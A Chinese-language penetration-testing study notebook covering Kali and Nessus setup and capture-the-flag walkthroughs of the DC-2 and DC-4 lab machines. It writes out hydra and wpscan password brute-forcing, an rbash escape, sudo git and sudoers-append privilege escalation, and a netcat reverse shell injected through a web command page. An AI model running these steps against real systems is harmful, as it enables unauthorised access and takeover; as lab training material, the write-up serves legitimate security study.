学习环境准备
WSL2上的Kali Linux
在Windows“程序与功能”中确认开启WSL(Windows Subsystem for Linux)之后,Kali Linux子系统的安装步骤如下:
打开Windows应用商店,商店内搜索Kali Linux,下载并安装。(大小约为200M)
启动Kali,等待一段时间后会提示
虚拟机与靶机资源
- PASS
远程访问内网的两种方案
- PASS
Windows内置VPN
- PASS
NetShell端口转发
- PASS
基础技能学习
扫描技术
AWVS扫描器
- PASS
Nessus扫描器
Nessus的安装步骤如下:
Nessus需要注册码,对于个人用户注册是免费的,注册地址是https://zh-cn.tenable.com/products/nessus/nessus-essentials,注册后很快就能在预留邮箱中收到你的注册码。
下载Nessus,这里以Windows 10为例,下载64位的Nessus软件,下载地址是https://www.tenable.com/downloads/nessus,其他系统和版本的Nessus应用这里也有下载地址。
安装Nessus,打开应用,忽视掉https的安全风险提示,继续打开页面,选择
Nessus Essentials
产品,输入注册码,并设定用户名和密码,等待一段时间,这段时间里会完成插件下载和安装。如果安装失败,可以进入安装目录,通过以管理员权限启动命令行,通过CLI工具修复。1
2cd "C:\Program Files\Tenable\Nessus"
nessuscli update
以
Nessus Advanced Scan
为例,Nessus的扫描结果如下,下图一份是简要的报告,从中可以看出Nessus Advanced Scan
的部分扫描功能:
提权技术
Redis - Crontab提权
- PASS
Windows、Linux提权
- PASS
MySQL提权
- PASS
靶机渗透和夺旗笔记
DC-2
DC-2靶机渗透笔记:
通过
ip a
指令查看本机IP,其地址为192.168.136.128/24
,通过nmap -sT 192.168.136.128/24
扫描局域网,获取DC-2靶机的地址。发现靶机地址为
192.168.136.130
,通过nmap -p- -A 192.168.136.130
扫描靶机端口。发现了靶机80端口开放了一个Wordpress网页,并在7744端口开放了SSH服务,先做一个本地DNS解析,在
/etc/hosts
中添加一条记录192.168.136.130 dc-2
,打开FireFox浏览器,访问http://dc-2,在博客页面可以看到Flag1。Flag1提示可以使用
cewl
工具获取字典,在终端执行cewl http://dc-2 -w passwd.txt
,使用wpscan
工具对Wordpress站点进行扫描,运行wpscan --url dc-2 -e p -e t -e u
扫描站点,发现了admin
、jerry
、tom
三个用户,使用wpscan --url dc-2 -P passwd.txt
命令调用密码字典对用户密码进行爆破,得到两组用户名和密码。分别尝试使用Tom和Jerry的身份登录站点(Wordpress的后台登陆地址是http://dc-2/wp-login.php),Tom的身份下一无所获,Jerry的身份中有一篇文章,里面有第二条线索。
Flag2提示我们应该寻找新的入口,之前端口扫描的结果中,在靶机的7744端口上有SSH服务,所以使用Tom和Jerry的身份继续尝试SSH链接。使用
ssh tom@192.168.136.130 -p 7744
输入密码成功连入靶机,在Tom的用户目录下发现了Flag3,但是不能使用cat命令打开,提示-rbash: cat: command not found
,查看tom用户环境变量下的bin目录,发现可以使用vi编辑器,于是可以通过vi来绕过rbash限制。1
2
3
4
5
6# Bash
vi
# VI Editor
:set shell=/bin/sh
:shell绕过rbash限制之后,重设
SHELL
和PATH
的环境变量,这时cat
命令已经可以使用,通过cat flag3.txt
可以看到下一步的提示。Flag3提示可能需要切换到Jerry用户下,使用
su jerry
命令,输入密码,在当前目录下发现第四个Flag,使用cat
命令查看。Flag4中提到了git,通过
sudo -l
可以发现Jerry可以无密码的执行git命令。于是使用sudo git help add
打开Git帮助信息,输入!/bin/bash
进行git提权,打开一个拥有root用户的命令行,在root用户的home
目录下,我们发现了最终的Flag,渗透结束。
DC-4
DC-4靶机渗透笔记:
通过
ip a
指令查看本机IP,其地址为192.168.136.128/24
,通过nmap -sT 192.168.136.128/24
扫描局域网,获取DC-2靶机的地址。发现靶机地址为
192.168.136.131
,通过nmap -p- -A 192.168.136.131
扫描靶机端口。从扫描结果可知,靶机的80端口上运行了一个Web应用,打开应用,发现只有一个登陆页面,使用
hydra
对admin用户进行爆破,运行hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 10 dc-4 http-form-post "/login.php:username=^USER^&password=^PASS^:S=logout" -F
命令,爆破结果显示,使用密码happy
可以登录admin用户。登录之后发现,该页面可以在线执行命令,于是尝试在前端修改对应的命令,将靶机的终端反射到Kali上。在终端运行
nc -lvp 7777
监听7777端口,修改网页中的指令为nc -nv 192.168.136.128 7777 -e /bin/bash
,点击执行后,就会发现本地终端建立了靶机的连接。运行
python -c 'import pty; pty.spawn("/bin/bash")'
打开终端,在靶机中可以发现/home
目录下有三个用户,Charles
、Jim
、Sam
,继续访问发现Jim的用户目录下有一个backups
文件夹,里面有一份名为old-passwords.bak
的文件,将其下载到本地,通过hydra
针对靶机的Jim用户进行SSH的登录爆破,发现密码是jibril04
。运行
ssh jim@dc-4
用刚刚获得的密码登录靶机,发现有一封邮件的提示,切换到/var/mail
文件夹下,查看Jim邮件,在邮件中,我们可以获得到Charles的密码。执行
su charles
命令,使用刚刚邮件中获得密码切换到Charles用户。通过sudo -l
命令,发现该用户可以无密码的执行teehee
命令,通过teehee --help
指令,我们发现该指令有写入文件的权限,于是我们通过echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers
命令进行提权。获得Super权限之后,在root用户的目录下即可看到最终的Flag。